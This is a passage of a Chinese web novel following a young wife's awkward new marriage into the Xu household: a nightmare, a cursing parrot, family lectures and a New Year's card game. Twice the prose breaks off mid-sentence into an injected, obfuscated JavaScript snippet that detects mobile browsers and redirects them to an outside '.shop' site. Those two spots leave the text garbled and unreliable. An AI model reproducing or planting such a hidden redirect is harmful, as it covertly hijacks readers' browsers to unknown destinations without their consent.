他默立良久,最终吹灭了蜡烛,小心翼翼掀开被子一角躺了进去,拘谨又局促。 大概率是小丫鬟讲的鬼故事太吓人,到了后半夜,本就爱做梦的南有音半夜被噩梦魇住了。 徐寂宁向来睡得很浅,夜间的任何风吹草动都会惊扰他,于是在半夜,他敏锐的察觉到了枕边人的不安。 徐寂宁摸索着点燃床头的烛火,微弱的光源笼罩在南有音的脸上,她脸上冷汗津津,沾湿了额前头发,两道黑而浓的弯眉紧紧锁着,白日里炯炯有神的眼睛闭着,眼珠在眼皮下抖得飞快,连带着她浑身也在不断轻微的颤抖。 徐寂宁确信她陷入了一个相当恐怖的梦境之中,他轻轻摇晃她的肩膀,呼唤道:“有音,醒醒。” 即将被梦境中的满脸绿毛的鬼怪抓住时南有音猛然睁开了眼,接着在昏暗的烛光下看到了一张人脸,长期习惯了单独睡的她脑袋一懵,于一瞬间失声尖叫。 徐寂宁眼疾手快,捂住了她的嘴巴,将尖叫扼杀在嗓子眼里。 “有音,是我。”他有些尴尬。 南有音茫然地眨了眨眼,而后惊讶地瞪大了眼睛,过了好一会儿才反应过来,她涣散的眼神重新聚起光彩,两只眼弯弯的,像是在笑。 徐寂宁手心一阵温热潮湿,一条柔软湿润的舌头在他手心打转,他慌忙把手从南有音嘴边挪开,就看到南有音映着烛火的弯成月牙的眼睛与伸出一点舌尖的嘴巴一起构成了一个狡黠的笑容。 “咸的。”她说。 “你做噩梦了?”徐寂宁问道。 南有音脸上的笑容瞬间垮掉了,她打了个寒颤,往被子里缩了缩,警惕地看向四周的黑暗,而后小声请求道:“不要熄灯好吗?” 徐寂宁默默地又点亮一盏灯,光亮更盛了些。 或许是刚刚太过可怕的梦境使得南有音平白多了几分矜持,她对徐寂宁说:“谢谢。” “呃……不客气。” 说完这句话后徐寂宁感觉两人的氛围骤然间真的“客气”起来了,他和南有音尴尬地大眼瞪小眼,然后南有音灿烂地笑了。 “咳,”他轻咳一声,错开两人交织的视线,说道,“睡吧。” 南有音望着那些灯光照不到的阴暗角落,仍然感到惴惴不安:“你会继续留在这里对吗?留在这里吧,这张床够大,我之前一直想告诉你。” 这张床确实够大,大到他和南有音的中间的距离还能再睡两个人,徐寂宁想起母亲质问他难道他的婚床睡不开两个人,苦笑了一下:“我已经留在这里了。” 徐寂宁重新躺下,闭上眼睛不过小小一刻,就又感受到了那种熟悉的使他芒刺在背的灼热目光。 他无奈地睁开眼,扭头看向南有音:“你怎么了?” 南有音小声道:“我不敢睡,我怕我一闭眼,那个噩梦就又回来了。” 徐寂宁温和道:“睡吧,如果你做噩梦,我会叫醒你。” “真的?” “真的。”徐寂宁信誓旦旦。 在当他以为南有音终于继续乖乖睡觉时,他听到了一阵窸窸窣窣地声音,然后他触碰到了另一具温暖的□□。 先是心跳空了一拍,接着于一瞬间,巨大的慌乱从那寸肌肤蔓延,一直冲到了头顶,徐寂宁惶恐地挪动身体,不敢与南有音触碰。 但南有音也跟着挪到。 他逃一寸,南有音就追一寸,他逃两寸,南有音便逼近三寸,最终一晃神的功夫,徐寂宁掉下床了。 他揉着自己摔痛的后背站起来时看到伏在床边的南有音肩膀一起一起的,他惶恐且困惑,他不明白她怎么哭了,犹豫该如何安慰,最后却发现她其实只是笑疯了。 南有音笑得上气不接下气:“我靠近你,你就躲,我想这床就这么宽,你总不至于傻到掉下床吧,结果你真的,哈哈哈哈哈,咕咚一声——” 她在床上捂着肚子笑得缩成一团,让徐寂宁不知所措。 最后,这一夜并不是毫无成效的一晚,至少第二天让松梯产生了一些不必要的误会。 第二天天还蒙蒙亮,早起准备侍候的松梯就看见屋子里溜出个人影,她纳罕少奶奶醒的这样早,走近却发现是徐寂宁,小小惊讶了一番后不由得心想还得是太太,能把小少爷从书房赶进婚房。 徐寂宁一副睡眠不足的模样,浮云潦草地同她打了招呼,低着头像是在想些什么,往书房的方向走过一段路又退了回来,对松梯说道:“过会儿我遣人送些药过来,你记得帮有音抹在身上。” “抹药?少奶奶是……受伤了?”松梯先是困惑,接着她瞪大了她那双永远闪着温柔光泽的眼睛。昨夜南有音从她那里走时还好端端的,睡了一觉却受伤了,唯一的罪魁祸首只能是昨夜与少奶奶同床共枕的徐寂宁,除此之外,她想不出其余的解释。 “我吓到她了。”徐寂宁叹气,他也郁闷他只是在屋子里拨弄火炉而已,至于把南有音吓得撞上门框么。 “您应该温柔一些。”向来柔和的松梯也忍不住出声责备,她一直以为小少爷是个温和的人,无论在什么事上。 “什么?”徐寂宁茫然了几秒,而后他又重新沉浸到自己的思绪之中,喃喃自语一般说道,“松梯,你跟在三姐身边的时间最长,你说,我和有音,现在算什么?” 松梯心中微微一颤,她是记得三小姐那些超乎寻常的理论的,过去太太为三小姐与薛家议亲时,三小姐常说被父母指婚的男女是一条绳上的两只蚱蜢而已,只有彼此相爱的人才是真正的夫妻。 松梯有些犹豫,最终小心翼翼地轻声回答道:“明媒正娶,同床共枕,您和少奶奶自然是夫妻。” 徐寂宁摇摇头,不知是不明白还是不赞成,心不在焉地往书房去了。 松梯怔怔在走廊立着,她不是不知道徐寂宁的迷惘,偶尔她也会像徐寂宁一样迷茫,似乎三小姐来世间匆匆一趟,给他们都留下了好多没有答案的问题。 南有音的肩膀上有很大一块淤青,青紫交加,松梯在拉开少奶奶的领口时倒吸一口凉气,她尽量轻柔的涂抹那些活血化瘀的药膏,有些忿忿不平:“我一直以为小少爷是个温和的人,真没想到他——” 南有音懒散地打着哈欠,昨夜一场噩梦一阵狂笑让她早上格外的 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“少奶奶,您都在说些什么啊!”松梯原本白净的面庞更红了,几乎能像是要滴出血来了,她恨恨一跺脚,手上涂药地力度重了,疼得南有音龇牙咧嘴除了告饶说不出别的。 末了松梯还是心软了,收了力气,轻轻擦拭那片青紫的肌肤,却忽然听到南有音充满疑惑的声音:“真奇怪,宁哥哥从来不碰我半根指头,难道我们不是夫妻吗?” “啊?”松梯脑袋有点转不过来,“昨晚你们两个不是睡一张床吗?” 南有音沮丧地说道:“一张床是一张床,可是什么也没发生呀……” 南有音始终觉得她与徐寂宁之间有些不对劲儿,她总觉得她与她年少时便爱慕的对象不该是如此这般相处,但她又搞不清楚究竟有什么不对劲儿。 为此她跑到书房去看徐寂宁读书,一双大眼睛上上下下地打量徐寂宁,直白且炙热的视线让徐寂宁坐立不安,最终忍无可忍,连哄带骗把南有音请出书房,告诉她要是无聊就去找大嫂宋知落,陪那两个惹人头疼的小侄子玩一会儿。 好不容易送走南有音,徐寂宁在椅子上捂着脑袋,已然分不清南有音与他的两个小侄子到底谁更让人头疼。 南有音也是心烦意乱,她穿过长廊,往假山后面大哥与大嫂的院落走,心里却仍想着书房的徐寂宁,她确信徐寂宁是她年少时便爱慕的人,他的眉眼气质与她记忆中分毫不差,但她仍觉得怪怪的,好像现在的徐寂宁并非是当年她认识的那个会主动向她伸出手的少年。 “真奇怪……”南有音喃喃自语,“可是怎么可能呢,宁哥哥就是宁哥哥呀,我又不会记错了人。” 确信这一点后,南有音感觉好多了,她仍是相信自己嫁给了所爱之人,她冲着冬日里少见的明媚太阳快活一笑,她认为徐寂宁只是与她太久没见还不熟悉而已,于是她愈发期待着日后,期待着徐寂宁与她熟识后会变回她记忆中那个主动握住她的手的少年郎。 她满怀希望的想着,然后蹦蹦跳跳跑进大嫂宋知落的院子,在侄子小甲快活喊着“小婶婶你终于来啦”的时候把他抱起来转了一圈,两人在明晃晃的冬日阳光下,笑得与太阳一样的灿烂。 14. 鹦鹉 自徐寂宁被母亲敲打教育一番之后,不得不从书房搬出去,与南有音同床共枕,两人躺在一张床,明明夜深人静时都能听到彼此的呼吸声,两人却又像隔着一条河一样,触碰不到彼此。 对此南有音主动采取一些无伤大雅的小措施,而徐寂宁不为所动,他总是轻轻叹一口气,然后温和的注视着他名义上的妻子,一次又一次地无声拒绝,让南有音心里迷茫又恼火。 这样僵硬的夜晚也没持续几天,徐寂宁因结婚得来的休沐结束,他需要像他的父兄一样去上朝,去公署履行他的官职。 在徐寂宁与南有音睡到一张床上的第三天早上,窗外天还乌黑,南有音就被细小的动静吵起来了,她迷迷糊糊睁开眼,屋里松梯带着几个小丫鬟服侍徐寂宁穿衣,她揉了揉眼睛,确信现在还不到卯时。 “怎么起得这么早?”南有音问道,她窝在被子里,昏昏沉沉地看着徐寂宁穿好外袍,后知后觉地意识到那件绿色衣服是朝服,“你要去上朝?” 徐寂宁温和道:“天还早,你不用起来,继续睡吧。” 于是南有音继续缩在被子里,原本就没有走远的睡意又开始猛烈的侵蚀,她扛着越来越沉的眼皮,含含糊糊说道:“早点回来呀。” 徐寂宁略微犹豫,最终还是说道:“我最近公务会很忙,暂时不回来了。” 他说完后,屋里没有人再答话,只剩侍女们整理衣物的窸窸窣窣声,他以为南有音会对此发表点什么意见,但她罕见的沉默了。 徐寂宁凑近,发现她似乎又睡过去了,长长的睫毛在烛灯的照耀下投射出纤细的影子,随着呼吸微弱的起伏。当他轻手轻脚转身离开之际,却忽然听到南有音轻微如呢喃般的说话声:“宁哥哥,你穿绿色的衣服很好看呢,我很喜欢。” 徐寂宁心快速跳了几下,感到脸上有点热。 南有音自从那天早上于睡眼朦胧中送走了徐寂宁之后,一连数日未曾再见到丈夫的人影。徐寂宁日日遣人回府传信,内容皆是公务繁忙,夜晚不归,南有音自己在院子里,闲着无聊,便日日往大嫂宋知落那里跑,陪她两个可爱的小侄子玩闹。 小侄子徐甲最近一直致力于教会弟弟徐乙喊南有音“小婶婶”,然而成效甚微,小甲耐心教导数天,小乙除了哭就是哭,最后反倒是屋子里的一只绿色鹦鹉学会了冲着南有音喊“小婶婶”。 在宋知落抱走又一次莫名嚎啕大哭的小乙后,南有音与小甲丧失了教学对象,于是盯上了屋内那只绿色鹦鹉,小甲说这只鹦鹉叫翠哥儿,是父亲的宠物。 南有音头一次见会说话的鸟,她伸出手指去逗那只绿色的鸟儿,鸟儿歪头看着她,然后迅速而猛烈地啄了她的手,并大叫“你真是一只坏鸟”。 南有音被鸟骂了,顿感无比新奇,随即回嘴:“你才是坏鸟好吧!” 小甲立刻说道:“小婶婶不要惹翠哥儿,它会好多骂人的话!” 南有音一听就来了兴致,斟酌着对绿色鹦鹉说了一句“笨蛋”,那小鸟歪着头,用左眼瞅完换右眼瞅,接着“大放厥词”,连珠炮一样输出了不少气势汹汹的脏话。 南有音被镇住了,半晌才松开捂着小甲耳朵的手,喃喃道:“常言道‘名师出高徒’,小甲,你爹这只鹦鹉,师从何处哇?” 小甲还未回答,南有音就听到身后传来几声低沉的笑声。 “爹回来啦!”小甲快活地叫了一声,而后往里屋跑去,“我去跟娘和弟弟一声!” 徐家大哥徐缄平走过来熟练地打开鸟笼,绿色鹦鹉呐喊着“大笨蛋”冲了出来,在天花板盘旋两圈后落在他的肩上。 徐缄平一边往笼子里添水添粮,一边对南有音笑道:“过去寂宁和静祺时常教翠哥儿说话,翠哥儿学会那么多浑话,他两个‘名师’必然逃不了关系。” 鸟笼里粮食添满,绿色的鹦鹉重新跳进鸟笼,低头去啄粮食,徐缄平轻轻摸着小鸟儿的羽毛,说道:“你要是跟翠哥儿打交道打多了,就会发现这鸟儿一贯喊我大笨蛋,见了默安便喊二呆瓜,见了寂宁就喊小傻子。” 南有音忍不住咯咯直笑:“这又是谁教的,好有意思的人。” “这必然是静祺干的,”徐缄平微微笑着,语气不无怀念,“若是她还在,听到你这样说肯定会开心,她与你应该是相当合得来。” 南有音轻微愣了一下,她总是在有意无意的一些时刻,发现三姐徐静祺在这个家留下的深刻烙印。 小甲从里屋跑了出来,仰头问道:“爹,你今天留下吃饭吗?” 徐缄平下意识答道:“不了,我还要去衙署处理点事情。” 徐缄平喂完翠哥儿就走了,小甲把他送到院子门口,而后看着他远去的身影,有些失落:“爹又不在家吃饭。” 南有音这几日光往大哥大嫂的院子跑,发现大哥徐缄平其实很少呆在家里,白天上朝,傍晚之前会回来一趟,有时与大嫂见上一面,说几句客气生疏的家常,有时连面也不见,不到晚饭时就又走了。 她安慰小甲道:“大哥应该是公务很忙吧。” 小甲却说道:“如果崔叔叔来吃饭就好了,那爹就一定会留下陪我们吃饭了。” 南有音一头雾水:“崔叔叔是?” “娘说爹这只绿鹦鹉就是崔叔叔送的。” 南有音仍是一头雾水,她对京城这些百官之间的来往一点也不熟悉。 晚饭南有音被留在大嫂宋知落那里,这几日她与小甲玩得很好,便也与宋知落熟络起来,往日她总担心大嫂出身书香世家,恐怕与她合不来,没想喝了几次大嫂煮的山楂莲子茶后,两人意外的亲昵起来,或许是因为南有音总是直白地表达她对山楂茶这种特殊口味的疯狂热爱,也或许是她从不吝啬对大嫂煮茶手艺的激情夸赞,总之,南有音总惹得大嫂清秀脸蛋上总挂着淡淡笑意。 虽然南有音与宋知落两人相处的很好,但有小乙存在的饭桌,往往很难平静地吃完一顿饭,在晚饭的尾声,小乙又一次莫名哭了起来,宋知落无奈,又在丫鬟婆子的簇拥下去哄想要用积泪成河的小乙。 饭桌上只剩南有音与小甲。 “话说你为什么会叫小甲,徐甲,徐乙,”南有音思考道,“日后我的孩子是不是要叫什么徐丙徐丁之类的?” “祖母给我和弟弟起的,”小甲眼睛一亮,“小婶婶,你和小叔叔什么时候有孩子呀?我还挺期待新的弟弟妹妹呢!弟弟妹妹肯定也能有跟你一样的大眼睛,很漂亮。” “再漂亮也不会比得上你。”南有音被小侄子夸漂亮,心中美滋滋的,但她不得不承认若论相貌,大概没人能比得上小甲,小乙与大嫂宋知落是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445774|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个模子,但小甲却与父母的清秀长相全然不同,虽然年纪尚小,却仍显示出一种外放的,浓烈的,完全不同于徐府众人的美感。 小甲还在一个不在乎自己容貌的年纪,他对自己的长相兴趣不大,话锋一转,问起了另一个问题:“小婶婶,你什么时候生弟弟妹妹呀,小孩是怎么出来的,你和小叔叔睡在一起就能生出小孩吗?” “呃……”小甲的问题让南有音呆了一下,她斟酌词句,结结巴巴道,“可能,嗯,可能需要比睡在一张床上……更复杂的,呃,活动……” 小甲追问:“那是什么活动?” 南有音望着眼前小小孩童的清澈眼睛有点哭笑不得,她是不知道该怎么回答的,在她绞尽脑汁想要转移话题时,屋内来了一个婆婆,说是有大少奶奶的信。 南有音替大嫂接了,放在桌上,无意瞄到了信札封面上写着一个小小“光”字,不由得有些好奇是谁,但出于不应该乱刺探别人隐私的顾虑,她强迫自己忘记这些莫名的好奇心。 南有音又陪着小甲玩了好久,一直到天彻底黑下来才离开,回到自己的院子,自己的房间,卧房的喜被还未换,还是无比喜庆的颜色,南有音坐在床上,想着徐寂宁又派人传信说不回来了,在一片火热的大红色被褥中,又感觉怪孤单的。 于是她把松梯拉过来陪自己了,她与松梯并排躺着,倒比她与徐寂宁躺着还亲密,至少不像是两人中间有一把利剑一样隔得老远。 “松梯,小甲说起地崔叔叔是谁?”南有音问起了那些白日里收集的问题。 松梯略一思索:“应该是小崔太史,姓崔,好像叫础润,和大少爷的关系——呃,不是一般的好。” “小崔太史?”南有音快速在脑子里检索,“之前徐寂宁好像说过谁家有孔雀来着,是不是他?” “是他,”松梯说道,“他好像在宫里管着文史典籍,过去小少爷想要什么书,就找大哥央小崔太史找,少奶奶要是想看什么书,也可以拜托小崔太史找。” 南有音不置可否,但她不爱看经史子集,只喜欢那些不用动脑的话本子,她是不好意思麻烦人家为她找话本的。 “大哥那只鹦鹉就是他送的,”南有音忍不住笑,“你知道那只小鹦鹉很会骂人吗?可有意思了。” “当然知道呀,等开春暖和了大少爷把翠哥儿挪到院子的长廊里的时候才好玩儿呢,走那条长廊的人可都要挨翠哥儿的骂,”松梯笑道,“老爷至今也不清楚他堂堂书香世家怎么养出了一只满嘴污言秽语的鸟,太太可烦翠哥儿了,只是大少爷一直宝贝的很,她也就没办法了。” 两人谈论鹦鹉翠哥儿那些损人的话,在被窝里笑了一阵,南有音兴奋地说等日后她也教翠哥儿几句,她小时候偷师了不少村里泼辣老太太斗嘴的毕生绝学,可不能失传了。 松梯想起过去三小姐得知翠哥儿能学人说话后异常兴奋,偏不教小鹦鹉文绉绉的诗词歌赋,而是决定要教小鹦鹉几句不文不雅的脏话聊以娱乐。 “三小姐过去也这样说,”松梯浅浅一叹,“她若是还活着,肯定与你能合得来。” 南有音沉默了一阵,轻声问道:“三姐到底是什么样的人呀,松梯。” “她呀……” 有太多情感骤然涌上,堵得人不知道该怎么说。 15. 回府 年关将至,徐寂宁终于回府了。 一回徐府,徐寂宁就先被徐老爷徐朗叫走了。他是不怕自己这位爹的,徐老爷也向来不说废话,往往只说些最近朝堂形式,徐寂宁虽然也在朝中任职,但官阶一般,很难涉足中心决策圈,徐朗则是官场混迹数十年,身居高位,明察一切风吹草动,他将那些萌芽中的态势说给儿子,以希冀孩子们在他的保护下不至于被政治潮流卷携。 徐家人大多中正沉稳,徐朗对孩子们还算放心,大儿子徐缄平同他一样,处世为人滴水不漏,二儿子徐默安,才华横溢之余也是极度聪慧,用不着他操心,唯独小儿子徐寂宁,他很不放心。 他觉得自己的小儿子身上有些不适合朝堂的执拗天真,对于官场的圆滑只是一知半解,他当然不想小儿子变得老练,甚至狡猾,但他感觉自己老了,应付朝堂的勾心斗角有些力不从心,权利也渐渐从指缝溜走,他倒不是贪恋权势,只是觉得徐家树大招风,他虽然不站队,但也有许多人盯着他,他担心有人会从初入仕途根基薄弱的徐寂宁身上下手,他现在好像很难护住这个小儿子,很难给出当初大儿子入仕时那种有力的支撑与保护。 徐朗告诉小儿子朝中近来有度田和重修户籍的风声,徐寂宁说这是好事呀,早该这样了,徐朗说朝廷一有变动,官场就是腥风血雨,徐寂宁点头称是,徐朗看着小儿子脸上的不知事态严重的天真神态,不由得感到担心。 徐寂宁从父亲的书房出来,接着就被母亲叫走了,面对父亲是坦然自若,面对母亲往往则是唯唯诺诺。 徐夫人毫不留情地指出徐寂宁这几日是故意留在官署的,徐寂宁想分辨两句,徐夫人却冷哼一声:“我难道还不知道?” 徐寂宁便没话说了,老老实实听徐夫人一顿教育,徐夫人说来说去,中心似乎只有一点——“你要待有音好,不要辜负了人家”。 母亲说他与南有音是夫妻,说了一通诸如夫妻永结同心之类的话,徐寂宁说他和南有音过去都不认识,将两个毫不相干的陌生男女绑在一起还能指望两人能够夫妇和顺夫唱妇随,未免太过奢求。 徐夫人说历来男婚女嫁向来都是如此,京城哪家夫妻不是这样过来的。 “可是您怎么知道他们心里是怎么想的,”徐寂宁驳问道,“若不是两颗真心,强行束缚在一起又怎么会自在,大哥自是不必多说——” 徐寂宁猛然停住话头,他有些激动了,他触碰到了某些他不该提及的话题,他深知这番“大逆不道”的话只能换来徐夫人的一阵雷霆暴雨,他只好希望看在临近新年好久没回家的份上,母亲不至于又罚他跪祠堂。 他忐忑地等着母亲的发落,母亲却沉默了,屋里静悄悄的,只有窗外的风声。 过了半晌徐夫人才开口,语气里没有指责也没有训斥,只是轻轻叹道:“你这样让我想起静祺了。” 徐寂宁怔怔看向母亲,坐在主位的母亲目光罕见的有些散乱,那双细长眼睛没有凝聚成尖刀一般的眼神,在昏沉烛火的照耀下反倒流露出许多的疲倦。 出乎他的意料,母亲没有动怒,也没有罚他跪祠堂,她摆摆手说走吧,却在他出门前又把他叫住。 “倘若真如你和静祺说的那样——”徐夫人声音很轻,还有些磕磕绊绊,好像有些不适应自己会说出这样的话,“两心相许……至少有音待你是一颗真心……” 徐寂宁猛地愣住了,他无比诧异地看着母亲,仿佛她被人掉包了一般,他印象中母亲口里的那些规矩是铜墙铁壁,从来不容任何人欲私情的流露。 他呆呆地反应不过来,徐夫人又摆摆手:“我说完了,你走吧,待有音好一点,她,她至少很喜欢你……” 母亲的话让徐寂宁本就杂乱的心更为杂乱了,过去母亲与三姐吵架,三姐说人情爱欲,母亲便搬出代代相传如同山一般的规矩礼制来压她,三姐总想打破母亲那些森严法度,但最终等待她的总是罚跪祠堂。 现在他再与母亲争执规矩与人欲,讶然在三姐去世后,母亲那向来森严的法度竟被冲开了几道缝隙,而正是这几道小小缝隙透出的人情爱欲,让他意识到他和南有音的纠缠不仅仅只是因父母之命、种种礼俗规矩捆绑在一起的夫妻关系而已,还有南有音凭空而来、但又直白热烈的情感。 离开母亲的房间时天已经彻底黑了下来,后徐寂宁顶着北风,脚步异常沉重的往自己的院子走去,离院子还老远,就看到院门口有人打着灯笼等他,等他走近了,门口拎着灯笼的人也看到他了,先是跳起来冲他挥手,然后就跑过来了,他不用动脑也知道那是南有音。 “你可算回来了!”南有音提着灯笼,脸颊和鼻尖被风吹得红扑扑的,但笑容仍然热烈,她揽住徐寂宁的胳膊,叽叽喳喳地埋怨,“一早就听太太说你今天回来,结果等到天黑才见到你的人影儿!” 徐寂宁不太自在的把胳膊从南有音手里抽出来,南有音又重新揽住他,他再把胳膊抽数来,南有音便再揽住他,这样重复了几次后南有音不乐意了,用力抓住他胳膊,嘟囔道:“看你还能怎么逃。” 徐寂宁妥协了,任由南有音半拉半拽着他往屋里去了。 屋内炉火烧的很旺,桌上摆着一个点心盒,里面放着十六块糕点,惟妙惟肖的做成了十六种花的样子,精雕细琢到花瓣上的脉络都依稀可见。徐寂宁认得这盒点心,这是他派人送回来的。 南有音兴奋地把徐寂宁拉到桌子旁边,指着桌上被打开的点心盒子说道:“我小时候就听说过京城人饮□□细,今天可算开眼界啦!” 徐寂宁被南有音的热情感谢搞得有些不好意思,说道:“我听说京城的姑娘都喜欢这种糕点,便带回家些。” 南有音围着那盒点心瞧了又瞧,看了又看,却不动手吃一块。 徐寂宁说:“你喜欢的话便尝尝,十六种花样十六种味道。” “我舍不得吃呀,”南有音小心问道,“这种点心应该很贵吧?” 徐寂宁从小见惯了锦衣玉食,他是没有“贵”这个概念的,这盒小点心在他看来不值一提,他一时没懂南有音“舍不得吃”的原因,困惑道:“这有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445775|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么不舍得吃的,吃完了我便再给你捎新的。” 南有音惊喜道:“真的?” “真的。” 南有音小小地心花怒放了一下,在她看来,人们只会送价值不菲的礼物给他们在乎的人,她不由在想宁哥哥心里果然有我,嘴上顺便也说了出来:“之前你不回府底下多嘴的丫鬟议论说是你不愿见我,我当时可伤心坏了,现在看来是我想多了,你日后在官署安心当值就好,我以后不会多想啦!” 徐寂宁有些尴尬:“嗯……太太说过的,要我对你好一些。” 南有音脸上的笑容闪了闪,她心底生出一个猜测,然后就问出来了:“这盒点心总不会也是太太让你送的吧?” 徐寂宁僵硬地点了点头:“太太说让我带点礼物给你,我不知道你喜欢什么,就带了这些点心。” 南有音眨了眨她的大眼睛,眼神中少了点光彩:“哦。” 她感到些许失落,徐寂宁与她同床共枕是徐太太的功劳,现在这盒点心也是,她不由得灰心,她与徐寂宁之间仍是少着点什么。 徐寂宁咬了咬嘴唇,他看着南有音脸上的笑容消失,心底多少有些不自在。 但南有音的沮丧只小小持续了几秒,她一直确信徐寂宁是她喜欢的心上人,于是她很快打破两个人之间有些冷淡的气氛,轻快地说道:“那我现在告诉你我喜欢什么东西,下次就不用太太指使,你也可以捎礼物给我。” 她说了她喜欢的东西,徐寂宁答应说下次会带,她又问起徐寂宁官府地工作,徐寂宁应付了几句,她说起两个侄子徐甲徐乙,徐寂宁心不在焉。 他们两个聊着聊着,就变成了南有音说一句,徐寂宁答一句,虽然南有音的话也不至于掉到地上,但徐寂宁的回应也确实可有可无。 然后南有音不说话了,又开始困惑地注视着徐寂宁。 徐寂宁被审视地有些紧张:“怎么啦?” 南有音说:“我觉得怪怪的。” “什么怪怪的?” “大家都说小别胜新婚,咱们本就是新婚,最近又有一段时间没见了,按理说应该很开心呀,而不应该像现在这样,”南有音思索道,“就像大哥和大嫂一样生疏。” 徐寂宁不知道该怎么回答,他下意识张嘴想替大哥和大嫂辩解几句,但欲言又止,最终什么也没说。 南有音歪着脑袋关切问道:“你是在官府遇到什么不顺心的事了吗?所以才这样闷闷不乐。还是你一回府就被老爷和太太叫去了,被他们训了?你什么都可以跟我说呀,咱们是夫妻,没什么不可以跟我说的。” 南有音又举南玉振的例子表明她的善于倾听:“过去玉振有什么不开心的事儿都会告诉我,我和他一起痛骂过好几次罚他抄书的老夫子,并且我也不会跟爹娘告状,你有什么不痛快的完全可以告诉我,让我和你一块儿出气。” “我……”徐寂宁头一次发现眼前人的这双眼睛在烛火下好似水波莹莹,他望着那双明亮的眼睛,始终没能说出什么,只是笑了笑,“夜深了,睡吧。” 16. 新年 南有音一向很喜欢新年,她在徐府的第一个新年也还算有趣。 徐府过年的流程与南家差不多,年夜饭,守岁,饺子,只是年夜饭不是一家人挤在厨房里烟熏火燎地做,饺子也不是一家人聚在一起包,都是徐府厨房那边的下人做的或者是从京城酒楼买来的,为此南有音缺失了很多乐趣,比如用面团捏面狗面猫,以及嘲笑南玉振包的饺子丑的像是团石头。 守岁也不是很有意思,大家聚在一起闲谈,气氛平淡,大谈论的大多是京城内高官显贵的事,南有音又不懂这些,只好跟小甲小乙两个侄子玩。先是小乙又莫名其妙的哭了,大嫂宋知落抱着幼子拉着小甲先行告退,徐夫人摇头,说年后可要催催钦天司的人,随着夜色渐渐深了,徐夫人与徐老爷推脱说年纪大了,熬不住,又先走了,最后只剩下徐氏三兄弟和南有音了。 徐缄平与徐默安两人相视一笑,异口同声:“太太休息了。” 徐寂宁眼睛也为之一亮。 只有南有音一头雾水:“那又怎么啦?” 二哥徐默安从怀里摸出一副叶子牌,温和地冲着南有音笑着,然后用温和地语气说出与徐府严格家教最截然不符的话:“过去我和大哥两人,不过小赌怡情,现在难得四人,豪赌最宜。” 南有音还没反应过来,就被推到牌桌上了:“我一直以为你们不会这些坊间把戏。” 徐默安笑容有些狡黠:“太太管教虽严,但总有疏漏。” 徐缄平笑道:“我和二弟向来擅长钻空子,至于四弟嘛,贼心和贼胆都有了,只是贼脑子没有,总是被太太抓住。” “我没有!”徐寂宁竭力反驳两个哥哥,只是底气有些不足。 四个人玩牌一直玩到凌晨,最后在徐默安连胜六局后徐寂宁兜里分文不剩,这场叶子牌以徐寂宁血本无归大获全败而告终。 徐寂宁不甘心地嚷道:“大哥!二哥他会记牌,这对咱们不公平!” 徐缄平同情中透着点得意:“我可赢了两局,跟你不一样。” 徐默安微笑着一摊手:“我已经让了你三局了,不然子时不到,你就输光了。” “要怪就只能怪你自己不懂叶子牌啦。”南有音开心地清点着她的收入,今晚除了徐默安就是她赢得多。 徐寂宁抱着胳膊不说话了。 徐缄平又与徐默安对视一眼,均是轻轻一笑。 徐缄平责怪二弟:“默安,每次玩牌你都把四弟惹毛。” 徐默安满不在乎:“你是大哥,你去哄他。” 南有音好奇地注视着徐家兄弟,然后戳了戳徐寂宁,好笑道:“你不会真的生气了吧?之前大家都怎么哄你?” “我当然没有生气!”徐寂宁对上南有音笑成两弯月牙的眼睛,脸一红,顿感窘迫,冲着大哥和二哥叫道,“我已经过了二十岁了!你们不要再把我当小孩了!” 徐默安瞄了一眼徐寂宁,平淡道:“大哥,四弟真的急了。” “这也不能怪我和默安,”徐缄平按住四弟的肩膀,有些感叹地说道,“静祺走后,你就病了,一连四年都是我和默安两个人玩牌,今年头一次凑够了四个人,我老觉得像是回到几年前,你和静祺都才十几岁的时候……” 徐寂宁忽然意识到,竟然过去四年了。 过去他缠绵病榻,感受不到时间的流逝,仿佛不知不觉的他就从十六岁突然变成了二十岁,他努力回忆多年之前的新年夜,想回忆过去他和哥哥姐姐之间无忧无虑的玩闹,但总如隔雾看花,记得不真切。 “寂宁”,徐默安打断了他的思绪,轻声说“不要回头看了。” “二哥?”徐寂宁一下子有些茫然。 徐默安没有理会他,对徐缄平说道:“大哥,丑时快到了。” “我竟然差点忘了!”徐缄平带领四人来到庭院假山的亭子里。 “这是做什么?”南有音站在亭子里,四周漆黑一片,还有刺骨寒风吹在脸上。 似乎是为了回答南有音,远处的天空接二连三的亮起了烟火,一束接着一束,绚烂的烟火停留在半空时,会映照出亭中四人的脸庞,南有音激动地跳来跳去。 激动了好久后南有音意识到一个问题,她问徐寂宁:“丑时怎么还会有烟火,寻常烟火不应该是子时么?难道京城还有其他的习俗。” 徐寂宁好像不知道该怎么回答,支支吾吾的。 站在南有音旁边的徐默安轻声笑道:“这是小崔太史放的烟火,每年都有,他说子时的烟火是除旧迎新,丑时的烟火是专门送给大哥的。” “啊?他们两个的关系真好。”南有音不疑有他,流露出了浓浓的羡慕。 烟火结束后,四人告别,南有音一路哼着轻快地小调,回到卧室后困得要命,早早睡了,第二日是大年初一,又顶着两个眼圈早早起了。 徐府往来客人络绎不绝,大哥大嫂还有徐寂宁都派去接待客人了,剩下南有音和几个丫鬟在后院陪小甲小乙玩。 